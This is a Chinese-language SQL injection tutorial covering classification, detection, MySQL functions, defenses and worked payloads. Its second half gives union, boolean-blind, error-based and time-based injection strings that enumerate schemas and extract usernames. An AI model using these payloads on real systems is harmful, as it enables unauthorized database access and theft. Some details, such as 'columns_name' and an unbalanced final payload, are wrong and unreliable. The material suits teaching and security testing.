(一)SQL注入
1.1 什么叫SQL注入
-
程序不判断和处理用户输入数据的合法性,这使得攻击者能够在管理员不知情的情况下向Web应用程序中的预定义SQL语句添加额外的SQL语句并实施非法操作,从而欺骗数据库服务器执行未经授权的任意查询, 从而进一步获取数据信息。 -
简而言之,SQL注入是将SQL语句包含在用户输入的字符串中,如果在设计不佳的程序中忽略检查,注入的SQL语句将被数据库服务器误认为是正常的SQL语句并运行,攻击者可以执行计划外的命令或访问未经授权的数据。
1.2 SQL注入分类
- 按照注入点类型来分类
(1)数字型注入点 类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字 (2)字符型注入点 类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点 (3)搜索型注入点 这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交 - 按照数据提交的方式来分类
(1)GET 注入 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。 (2)POST 注入 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。 (3)Cookie 注入 HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。 (4)HTTP 头部注入 注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。 - 按照执行效果来分类
(1)基于布尔的盲注 即可以根据返回页面判断条件真假的注入。 (2)基于时间的盲注 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 (3)基于报错注入 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
1.3 SQL漏洞探测
一般来说,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX 等带有参数的 ASP 动态网页中,有时一个动态网页中可能只有一个参数,有时可能有 N 个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入。 1、先加单引号’、双引号"、等看看是否报错,如果报错就可能存在SQL注入漏洞了。 2、还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。 3、还有就是Timing Attack测试,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。
1.4 SQL注入常用函数
- Version();当前 mysql 的版本
- Database();当前网站使用的数据库
- User();当前 MySQL 的用户
- system_user(); 系统用户名
- session_user();连接数据库的用户名
- current_user;当前用户名
- load_file();读取本地文件
- length(str) : 返回给定字符串的长度,如 length(“string”)=6
- substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致 - concat(username):将查询到的username连在一起,默认用逗号分隔
- concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
- group_concat(username) :将username数据查询在一起,用逗号连接
1.5 SQL注入防御
- (1)关闭 SQL 错误回显
- (2)前端输入字符白名单验证(长度、类型等)
- (3)对输入的特殊字符使用转义处理
- (4)SQL 操作使用 PreParedStatement
- (5)SQL 服务运行于专门的账号,并且使用最小权限
- (6)限制 SQL 服务的远程访问,只开放给特定开发人员
- (7)代码审计,最有效的检测应用程序的注入风险的方法之一
- (8)使用成熟的WAF
1.6 关于数据库
- 在 MySQL5.0版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schemata,tables,columns。
- Schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
- Tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.
- Columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name。
(二)SQL注入实例
2.1 Union联合查询
union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。
注入思路:
A:判断是否存在注入点,,Url:http://xxxxxxxxx?id=1
1' 异常,如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
1 and 1=1 返回结果和 id=1 一样
1 and 1=2 异常
从而则一定存在 SQL 注入漏洞,且为数字型注入
B:order by 1-99 语句来查询该数据表的字段数
C:利用获得的列数使用联合查询,union select 与前面的字段数一样
找到了数据呈现的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6
D:根据显示内容确定查询语句的位置,利用 information_schema
依次进行查询 schemata, tables,columns
E:已知库名、表名和字段名,接下来就爆数据
2.2 Boolean注入
判断方式:
通过长度判断 length(): length(database())>=x
通过字符判断 substr():substr(database() ,1,1)= 's'
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
注入漏洞判断:
1.id=1' 报错
2.id=1 and 1=1 结果和 id=1 一样
3.id=1 and 1=2 结果异常
A:判断数据库名的长度 http://xxxxxx?id=1' and length(database())>=1--+ 从而判 断数据库名的长度为 4
B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+
C:Burp 判断数据库名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test,test 数据库名
D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person users xss //三个表
E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id username password 等
F:获取数据 http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
2.3 报错注入
- 在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错 误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都 可以使用报错来获取信息。常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()
payload语法:
updatexml(xml_document,Xpathstring,new_value)
payload1:updatexml(1,concat(0x7e,(select database()),0x7e),1)
payload2:extractvalue(1,concat(0x7e,(select database())))
payload3:(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
攻击实战:
A:注入点探测及类型 a’制作报错,字符型
B:利用函数 updatexml()获取数据库名 http://xxxxx?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
C:利用函数 updatexml()获取表名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+
D:利用函数 updatexml()获取字段名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+
E:利用函数 updatexml()获取值 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+
2.4 时间盲注
- 代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的 时长,来判断信息,这既是时间盲注。原理:利用 sleep()或 benchmark()等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果 expr1 是 True,则返回 expr2,否则返回 expr3
特点:
通过时间回显的延迟作为判断 payload=1’ and sleep(5)–+ 有延迟则考虑时间盲注
利用 sleep()或 benchmark()函数延长 mysql 的执行时间
与 if()搭配使用
常用函数:
left(m,n) --从左向右截取字符串 m 返回其前 n 位
substr(m,1,1) --取字符串 m 的左边第一位起,1 字长的字符串
ascii(m) --返回字符 m 的 ASCII 码
base64(m)—返回字符 m 的 base64 编码 ? if(str1,str2,str3)–如果 str1 正确就执行 str2,否则执行 str3
sleep(m)–使程序暂停 m 秒
length(m) --返回字符串 m 的长度
count(column_name) --返回指定列的值的数目
payload:if(expr1,expr2,expr3) 语义解析 :
对 expr1 进行布尔判断,如果为真,则执行 expr2,如果为假,则执行 expr3 常用 payload: If(length(database())>1,sleep(5),1) 如果数据库名字符长度大于 1 为真,mysql 休眠 5 秒,如果为假则查询 1。而查询 1 的结果,大约只有几十毫秒,根据 Burp Suite 中页面的响应 时间,可以判断条件是否正确
攻击实战:
判断数据库名的长度
http://xxxxxx?id=1 and if(length(database())>=6,sleep(5),1)
爆库名
http://xxxxxxx?id=1 and if(substr(database(),1,1)='a',sleep(5),1) 数据库名为 test
爆表名
http://xxxxxxx?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1) 表名
爆字段
http://xxxxxxx?id=1 and if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a',sleep(5),1)
爆数据
http://xxxxxxxxxx?id=1 and if(substr(select username from test.users limit 0,1),1,1)='a',sleep(5),1) 由于数据库名的范围一般在 a~z,0~9,特殊字符,大小写等
|